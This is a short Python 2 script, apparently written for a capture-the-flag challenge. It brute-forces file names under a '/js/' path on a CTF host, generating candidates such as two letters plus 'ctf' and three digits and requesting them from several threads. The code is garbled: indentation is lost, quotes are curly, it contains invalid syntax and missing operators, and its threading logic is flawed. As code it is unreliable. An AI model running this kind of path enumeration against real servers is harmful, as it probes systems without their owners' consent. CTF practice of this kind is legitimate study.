import urllib2
import urllib
import time
import threading
global is_cracked=False
def crack(m):
for t in m:
if is_cracked:
break
try:
print urllib2.urlopen(“http://9bcc1a1a7dda42f9ba608c15d17187a7280921b9ef534c7b.ctf.game/js/"+t).read()
is_cracked=True
except:
continue
def div_list(ls,n): #一个常用的分割字符串的函数
if not isinstance(ls,list) or not isinstance(n,int):
return []
ls_len = len(ls)
if n<=0 or 0==ls_len:
return []
if n > ls_len:
return []
elif n == ls_len:
return [[i] for i in ls]
else:
j = ls_len/n
k = ls_len%n
ls_return = []
for i in xrange(0,(n-1)j,j):
ls_return.append(ls[i:i+j])
ls_return.append(ls[(n-1)j:])
return ls_return
s1=”abcmlyx”
query=[]
for m in s1:
for t in s1:
for q in xrange(0,10):
for r in xrange(0,10):
for v in xrange(0,10):
query.append(“%s%sctf%d%d%d\n”%(m,t,q,r,v))
ls2=div_list(query,50)
for ea in ls2:
t=threading.Thread(target=crack,args=(ea,))
t.start()
t.join()